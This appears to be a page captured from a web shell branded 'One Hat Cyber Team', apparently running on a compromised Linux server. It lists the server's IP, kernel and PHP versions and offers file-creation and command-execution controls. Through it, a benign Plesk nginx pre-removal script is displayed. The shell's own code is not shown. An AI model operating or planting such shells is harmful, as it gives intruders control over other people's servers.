⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.37
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
var
/
lib
/
dpkg
/
info
/
View File Name :
sw-nginx.prerm
### Copyright 1999-2025. WebPros International GmbH. All rights reserved. [ -z "$PLESK_INSTALLER_DEBUG" ] || set -x [ -z "$PLESK_INSTALLER_STRICT_MODE" ] || set -e switch2apache() { local status local ngmng='/usr/local/psa/admin/sbin/nginxmng' local pkgmng='/usr/local/psa/admin/sbin/packagemng' [ -x "${ngmng}" ] || return 0 if [ "Enabled" = "`${ngmng} --status`" ]; then echo -n "Try to disable nginx proxy in Plesk Panel ... " if ! "${ngmng}" --disable >/dev/null 2>&1; then echo "Warning: command '${ngmng} --disable' execution failed. You should execute it manually." else echo 'done.' fi if [ -x "${pkgmng}" ]; then "${pkgmng}" --set-dirty-flag >/dev/null 2>&1 || : fi fi return 0 } case "$1" in remove|remove-in-favour|deconfigure|deconfigure-in-favour) switch2apache /bin/systemctl stop nginx.service /bin/systemctl disable nginx.service ;; upgrade|failed-upgrade) ;; *) echo "prerm called with unknown argument \`$1'" >&2 exit 1 ;; esac exit 0 # vim:ft=sh: